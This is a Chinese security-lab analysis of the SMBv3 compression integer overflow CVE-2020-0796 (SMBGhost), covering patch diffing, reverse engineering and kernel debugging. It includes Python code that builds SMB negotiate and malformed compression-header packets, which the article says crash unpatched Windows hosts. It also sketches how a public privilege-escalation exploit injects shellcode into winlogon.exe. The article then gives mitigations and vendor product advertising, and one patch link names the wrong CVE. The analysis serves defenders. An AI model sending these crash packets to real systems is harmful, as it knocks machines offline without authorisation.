微软SMBv3 Client/Server远程代码执行漏洞深入分析(CVE-2020-0796)

漏洞分析

SMBv3介绍

服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上。它还提供了经过身份验证的进程间通信机制。SMB的大多数用法涉及运行Microsoft Windows的计算机,在引入Active Directory之前被称为“ Microsoft Windows网络” 。相应的Windows服务是用于服务器组件的LAN Manager服务器和用于客户端组件的LAN Manager工作站。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。除了在SMB3中添加的AES-128 CCM加密外,该版本还支持AES-128 GCM加密,并使用SHA-512哈希实现预认证完整性检查。当使用SMB 2.x和更高版本连接到客户端时,SMB 3.1.1还使安全协商成为必需。

漏洞描述

CVE-2020-0796,微软SMBv3 Client/Server远程代码执行漏洞。该漏洞存在于srv2.sys文件中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

漏洞基本信息

1. 漏洞文件

漏洞存在于srv2.sys文件中

2. 漏洞函数

该漏洞涉及到了多个函数:

Srv2DecompressMessageAsync

Srv2DecompressData

Smb2GetHonorCompressionAlgOrder

Smb2SelectCompressionAlgorithm

Smb2ValidateCompressionCapabilities

漏洞深入分析

1. 基础数据结构

主要看一下SMB2 COMPRESSION_TRANSFORM_HEADER结构:

首先,说明了结构使用的场景:客户端或服务器在发送压缩消息时使用SMB2 COMPRESSION_TRANSFORM_HEADER。此可选标头仅对SMB 3.1.1 Dialect有效。

对以上各字段做简要说明:

字段

含义

ProtocolId (4 bytes)

协议标识符。该值必须设置为0x424D53FC,也以网络顺序表示为0xFC,“ S”,“ M”和“ B”。

OriginalCompressedSegmentSize (4 bytes)

原始压缩数据的大小(以字节为单位)。

CompressionAlgorithm (2 bytes)

此字段务必包含CompressionAlgorithms字段中指定的用于压缩SMB2消息的算法之一,“ NONE”除外。

Flags (2 bytes)

必须为2个特定值之一

Offset/Length (4 bytes)

如果在Flags字段中设置了SMB2_COMPRESSION_FLAG_CHAINED,则该字段必须解释为长度,压缩有效payload的长度(以字节为单位);否则,该字段必须解释为偏移。从此结构的末尾到压缩数据段开始的偏移量(以字节为单位)。

CompressionAlgorithms字段中指定的算法:

Flags字段可选的固定值:

2. 分析环境搭建及配置

Windows版本:1909,未安装安全更新补丁(KB4551762)

配置内核调试(目标主机):管理员权限启动powershell或cmd,执行如下命令:

bcdedit /set dbgtransport kdnet.dll

bcdedit /dbgsettings NET HOSTIP:调试机IP PORT:50000

bcdedit /debug on

结果如下:

调试机windbg配置:

3. 静态分析

3.1 补丁对比

首先进行安全更新前后的补丁对比:

根据已掌握信息,重点查看Svr2DecompressData函数:

可以很明显看到添加了一个RtlULongAdd函数的调用,根据以往SMB的漏洞,新增该函数通常是进行某些数据运算然后进行边界检查。

3.2 IDA反编译查看源代码

srv2.sys文件拖入IDA,先观察函数实现:

1. SMB首先调用srv2!Srv2ReceiveHandler函数接收数据包,并根据ProtocolId设置对应的处理函数:

如果判断数据包中为压缩的数据(ProtocolID = 0xfc4d5342),则调用处置函数--Srv2DecompressMessageAsync函数。

2. srv2!Srv2DecompressMessageAsync函数会继续调用 Srv2DecompressData函数:

Srv2DecompressMessageAsync函数并不是实际处理压缩数据的函数,而是继续调用了Srv2DecompressData函数,跟进查看Srv2DecompressData函数:

在Srv2DecompressData函数中可以看到数据处理的部分:在进行buffer分配时,会调用SrvNetAllocateBuffer进行分配。但是在调用时,并未对OriginalCompressedSegmentSize和Offset/Length的长度进行任何检查,对二者相加的和也未进行安全检查。此处就存在一个整数溢出,如果二者的和为一个特别大的值,会超出内存存储范围,值会变成一个很小的值。

3. srv2!Srv2DecompressData函数调用SmbCompressionDecompress函数,进而调用nt!RtlDecompressBufferXpressLz函数进行实际的数据解压过程。

nt!RtlDecompressBufferXpressLz函数位于ntoskrnl.exe中,该函数实际进行的处理就是:

由上面的代码可以看到在进行数据解压缩时,首先进行smb compress协议数据包的解析,获取其中包含的需要解压缩的数据的大小,并和之前通过SrvNetAllocateBuffer分配的buffer的OriginalCompressedSegmentSize值进行比较,确认其大小不大于OriginalCompressedSegmentSize,然后进行内存拷贝。若v21大于OriginalCompressedSegmentSize,则返回0xC0000242错误。因为在2中进行内存分配时没有做长度检查,所以如果传入一个很大的OriginalCompressedSegmentSize值触发整数溢出,此时v21就可以设置一个极大值,但可以通过对decompress size的判断,最终调用qmemcpy拷贝一个极大的size导致缓冲区溢出。

4. 动态分析

4.1 SMB2通信流程

SMB2的通信流程如下图所示:

SMB2协议定义的内容:

Protocol negotiation (SMB2 NEGOTIATE)  //协议协商

User authentication (SMB2 SESSION_SETUP, SMB2 LOGOFF)   //用户认证

Share access (SMB2 TREE_CONNECT, SMB2 TREE_DISCONNECT)  //共享访问

File access (SMB2 CREATE, SMB2 CLOSE, SMB2 READ, SMB2 WRITE, SMB2 LOCK, SMB2 IOCTL, SMB2 QUERY_INFO, SMB2 SET_INFO, SMB2 FLUSH, SMB2 CANCEL)    //文件访问

Directory access (SMB2 QUERY_DIRECTORY, SMB2 CHANGE_NOTIFY)   //目录访问

Volume access (SMB2 QUERY_INFO, SMB2 SET_INFO)      //卷访问

Cache coherency (SMB2 OPLOCK_BREAK)             //缓存一致性

Simple messaging (SMB2 ECHO)          //消息传递

SMB2.1新增:

Protocol Negotiation (SMB2 NEGOTIATE)

Share Access (SMB2 TREE_CONNECT)

File Access (SMB2 CREATE, SMB2 WRITE)

Cache Coherency (SMB2 OPLOCK_BREAK)

Hash Retrieval (SMB2 IOCTL)   //哈希检索

SMB3.x新增:

Protocol Negotiation and secure dialect validation (SMB2 NEGOTIATE, SMB2 IOCTL)  //dialect验证

Share Access (SMB2 TREE_CONNECT)

File Access (SMB2 CREATE, SMB2 READ, SMB2 WRITE)

Hash Retrieval (SMB2 IOCTL)

Encryption (SMB2 TRANSFORM_HEADER)

SMB3.1.1新增(1903引入):

Compression (SMB2 COMPRESSION_TRANSFORM_HEADER)   //支持压缩数据

4.2 连接建立过程

首先是NEGOTIATE过程,client端发送一个NEGOTIATE请求,server端回复一个NEGOTIATE响应。

参考SMB2通信pcap和官方协议文档构造数据包

# NetBios Session Service

Negotiate_pkt=b'\x00' # Message Type

Negotiate_pkt+=b'\x00\x00\xe6' # Length

# SMB2 Header

Negotiate_pkt+=b'\xfe\x53\x4d\x42' # ProtocolId

Negotiate_pkt+=b'\x40\x00' # StructureSize

Negotiate_pkt+=b'\x00\x00' # CreditCharge

Negotiate_pkt+=b'\x00\x00' # ChannelSequence

Negotiate_pkt+=b'\x00\x00' # Reserved

Negotiate_pkt+=b'\x00\x00' # Command

Negotiate_pkt+=b'\x01\x00' # CreditRequest

Negotiate_pkt+=b'\x00\x00\x00\x00' # Flags

Negotiate_pkt+=b'\x00\x00\x00\x00' # NextCommand(Chain Offset)

Negotiate_pkt+=b'\x01\x00\x00\x00\x00\x00\x00\x00' # MessageId

Negotiate_pkt+=b'\xff\xfe\x00\x00' # ProcessId

Negotiate_pkt+=b'\x00\x00\x00\x00' # TreeId

Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00' # SessionId

Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # Signature

# Negotiate Protocol Request

Negotiate_pkt+=b'\x24\x00' # StructureSize

Negotiate_pkt+=b'\x05\x00' # DialectCount

Negotiate_pkt+=b'\x01\x00' # SecurityMode

Negotiate_pkt+=b'\x00\x00' # Reserved

Negotiate_pkt+=b'\x40\x00\x00\x00' # Capabilities

Negotiate_pkt+=b'\xa2\x8e\xf8\x84' #ClientGuid

Negotiate_pkt+=b'\xe6\x65\xea\x11'

Negotiate_pkt+=b'\xb4\xc6\x00\x1c'

Negotiate_pkt+=b'\x42\xbf\x6a\x9c'

Negotiate_pkt+=b'\x70\x00\x00\x00' # NegotiateContextOffset

Negotiate_pkt+=b'\x03\x00' # NegotiateContextCount

Negotiate_pkt+=b'\x00\x00' # Reserved2

Negotiate_pkt+=b'\x02\x02' # Dialect: SMB 2.0.2

Negotiate_pkt+=b'\x10\x02' # Dialect: SMB 2.1

Negotiate_pkt+=b'\x00\x03' # Dialect: SMB 3.0

Negotiate_pkt+=b'\x02\x03' # Dialect: SMB 3.0.2

Negotiate_pkt+=b'\x11\x03' # Dialect: SMB 3.1.1

Negotiate_pkt+=b'\x00\x00'

#Negotiate Context: SMB2_PREAUTH_INTEGRITY_CAPABILITIES

Negotiate_pkt+=b'\x01\x00' # Type

Negotiate_pkt+=b'\x26\x00' # DataLength

Negotiate_pkt+=b'\x00\x00\x00\x00' # Reserved

Negotiate_pkt+=b'\x01\x00' # HashAlgorithmCount

Negotiate_pkt+=b'\x20\x00' # SaltLength

Negotiate_pkt+=b'\x01\x00' # HashAlgorithm

Negotiate_pkt+=b'\xcf\xa4\x93\xd0' # Salt

Negotiate_pkt+=b'\xf3\xd1\x41\x8c'

Negotiate_pkt+=b'\x1a\xcb\x36\x4d'

Negotiate_pkt+=b'\x9f\x77\x27\x6d'

Negotiate_pkt+=b'\x72\x80\x2b\xf4'

Negotiate_pkt+=b'\x71\x94\x64\x99'

Negotiate_pkt+=b'\xb3\x91\x4b\x7f'

Negotiate_pkt+=b'\xf8\x92\x47\xe2'

Negotiate_pkt+=b'\x00\x00'

#Negotiate Context SMB2_COMPRESSION_CAPABILITIES

Negotiate_pkt+=b'\x03\x00' # Type

Negotiate_pkt+=b'\x0e\x00' # DataLength

Negotiate_pkt+=b'\x00\x00\x00\x00' # Reserved

Negotiate_pkt+=b'\x01\x00' # CompressionAlgorithmCount

Negotiate_pkt+=b'\x00\x00\x00\x00\x00\x00

Negotiate_pkt+=b'\x02\x00' # CompressionAlgorithmId:LZ77

(备注:我的测试机抓去的流量包中有4个NegotiateContext,为了保证PoC的通用性,删除掉其中两个与我们关系不大的NegotiateContext,所以最后使用2个NegotiateContext。注意,删除后需要修改前面的数据长度。)

根据官方文档中构造SMB2 COMPRESSION_TRANSFORM_HEADER:

根据前面的数据结构,前面几个字段正常构造,因为Flags分为两种情况:FLAG_NONE和FLAG_CHAINED,为简单起见后面我们选用FLAG_NONE。而对于Offset/Length字段,当选用FLAG_NONE时该处四字节代表offset,offset为从offset所占4字节结束到后面compressed data起始的位置偏移量;当选用FLAG_CHAINED时该处四字节代表length,length为后面compressed payload的大小。

根据COMPRESSION_TRANSFORM_HEADER的结构,初始构造数据包如下:

# NetBios

Smb2_crash_pkt=b'\x00' # Message Type

Smb2_crash_pkt+=b'\x00\x00\x20' # Length

# SMB2 Compression Transform Header

Smb2_crash_pkt+=b'\xfc\x53\x4d\x42' # ProtocolId

Smb2_crash_pkt+=b'\x10\x00\x00\x00' # OriginalCompressedSegmentSize

Smb2_crash_pkt+=b'\x02\x00' # CompressionAlgorithm LZ77

Smb2_crash_pkt+=b'\x00\x00' # Flags

Smb2_crash_pkt+=b'\x01\x00\x00\x00' # Offset

# Compressed SMB3 Data

#因为我们此时不知道算法内部的数据处理过程,所以先随意给压缩数据进行调试

Smb2_crash_pkt+=b'\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41'

4.3 WinDbg动态调试

1. 首先在srv2!Srv2DecompressData函数下断点bmsrv2!Srv2DecompressData` ,并发送前面构造的数据包:

断点命中,系统停在srv2!Srv2DecompressData函数。

2. 单步跟踪,来到srv2!Srv2DecompressData + 0x68地址处:

在mov rax, qword ptr [rsp+30]指令处,查看rsp+30中的内容,发现为构造的压缩数据头部。

3. 继续跟踪,来到调用SrvnetAllocateBuffer指令处:

前面IDA反汇编知道,该函数主要用于buffer内存分配。rcx寄存器中存放了该函数参数。此处经过静态分析和多次调试发现,rcx中存放的值恰好为 OriginalCompressedSegmentSize与Offset之和。结合补丁添加的对OriginalCompressedSegmentSize+Offset的检查,可以构想漏洞是由该和检查不足导致。

4. 跟进,分析SmbCompressionDecompress函数:

该函数中,rcx为第一个参数,指定了使用的压缩算法的类型,rdx为第二个参数,指定了压缩数据存放的位置,读取rdx中的值可以看到构造的压缩数据。如果要对该函数进行深入分析,需要了解压缩算法的具体实现,但目前对LZ77算法的信息不是十分完善,暂未进行重写。

至此,漏洞原理已分析清楚,只要构造OriginalCompressedSegmentSize与Offset之和能产生整数溢出就有可能触发漏洞。

5. crash的PoC复现

修改前面PoC代码中OriginalCompressedSegmentSize与Offset的任意一个字段值为0xffffffff,同时另外一个字段值非0,发送数据包进行验证:

成功触发漏洞,造成目标主机蓝屏,PoC测试成功。

6. 本地提权的EXP复现

2020年3月30日,互联网中出现公开的本地权限提取利用EXP,泄漏的EXP为exe文件,直接在目标主机中进行运行即可实现本地权限提取,运行结果:

而查看该LPE EXP的关键源代码:

该EXP主要是利用了往’winlogon.exe’中写入shellcode的方式来实现权限提升的目的,而shellcode的位置和指针通过利用SMB漏洞进行部署。

7. 更新后的srv2.sys文件

对更新后的srv2.sys文件进行IDA反编译可以发现,主要是对Srv2DecompressData函数进行了更新,添加了一些数据长度的检查,与补丁对比信息吻合。

8. 流量分析

使用两个不同的PoC造成的蓝屏的流量截图如下:

第一种,设置Offset/Length字段为ffffffff:

第二种,设置OriginalCompressedSegmentSize字段为ffffffff:

9. 漏洞防御策略

熟悉了漏洞原理后,可以轻松在流量测进行防御,只需判断两个字段的值的和是否大于0xffffffff触发整数溢出即可。

利用此漏洞,远程未经身份验证的攻击者通过使用SMBv3连接到易受攻击的Windows计算机,或通过使易受攻击的Windows系统启动与SMBv3服务器的客户端连接,就可以在易受攻击的系统上以SYSTEM特权执行任意代码。

目前互联网中已出现公开的EXP,微软官方已经发布了针对此漏洞的安全补丁。经千里目实验室安全研究员分析,此漏洞危害较大,且漏洞信息已快速传播,建议用户尽快安装安全更新补丁。

影响范围

目前受影响的Microsoft版本:

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

解决方案

1修复建议

该漏洞微软目前已发布针对此漏洞的安全更新补丁,千里目实验室建议广大用户及时确认所用Windows版本,并下载对应版本安全补丁进行更新:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618

2 深信服解决方案

深信服下一代防火墙 】可轻松防御此漏洞,建议部署深信服下一代防火墙的用户更新至最新的安全防护规则,可轻松抵御此高危风险。

深信服云盾 】已第一时间从云端自动更新防护规则,云盾用户无需操作,即可轻松、快速防御此高危风险。

深信服安全感知平台 】可检测利用该漏洞的攻击,实时告警,并可联动【深信服下一代防火墙等产品】实现对攻击者ip的封堵。

深信服安全运营服务 】深信服云端安全专家提供7*24小时持续的安全运营服务。在漏洞爆发之初,对存在漏洞的用户,检查并更新了客户防护设备的策略,确保客户防护设备可以防御此漏洞风险。

深信服安全云眼 】在漏洞爆发之初,已完成检测更新,对所有用户网站探测,保障用户安全。不清楚自身业务是否存在漏洞的用户,可注册信服云眼账号,获取30天免费安全体验。

注册地址:http://saas.sangfor.com.cn

深信服云镜 】在漏洞爆发第一时间即完成检测能力的发布,部署了云镜的用户可以通过升级来快速检测网络中是否受该高危风险影响,避免被攻击者利用。离线使用云镜的用户需要下载离线更新包来获得漏洞检测能力,可以连接云端升级的用户可自动获得漏洞检测能力。

深信服终端安全检测响应平台 】已完成漏洞规则库的紧急更新,支持该漏洞的检测及补丁分发。EDR3.2.10及以上版本需要升级相应的SP包,更新漏洞补丁规则库版本到202031317395,即可检测漏洞并分发补丁进行漏洞修复。联网用户可直接在线更新,离线升级包及漏洞补丁规则库已上传至深信服社区,有需要的用户请到深信服社区下载。

2020/03/11

深信服千里目实验室监测到互联网中关于CVE-2020-0796的信息

2020/03/11

深信服千里目实验室发布微软3月份补丁日重点漏洞通告,涉及该漏洞

2020/03/12

微软正式更新CVE-2020-0796漏洞补丁

2020/03/13

深信服千里目实验室发布漏洞分析文章以及深信服解决方案

2020/03/14

互联网中出现蓝屏PoC,千里目实验室第一时间进行了复现分析,深信服解决方案可以轻松防御

2020/03/30

互联网中出现本地提权利用EXP

2020/03/31

深信服千里目实验室进行EXP分析,并发布漏洞深入分析文章

参考链接

[1].https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796

[2].https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0#Appendix_A_Target_69

[3].https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271

[4].https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html

[5].https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0

文章推荐:

1.微软SMBv3 Client/Server远程代码执行漏洞安全风险通告(CVE-2020-0796)

2.攻击者利用通达OA漏洞释放勒索病毒,用户数据遭到加密

3.微软Type 1字体解析远程代码执行漏洞安全风险通告(ADV200006)

4.换汤不换药!BlueHero挖矿团伙又双叒发新版本

5.AZORult窃密木马详细分析报告

关注我们

解锁更多精彩内容

深信服千里目安全实验室

我来评几句
登录后评论

已发表评论数()

相关站点

热门文章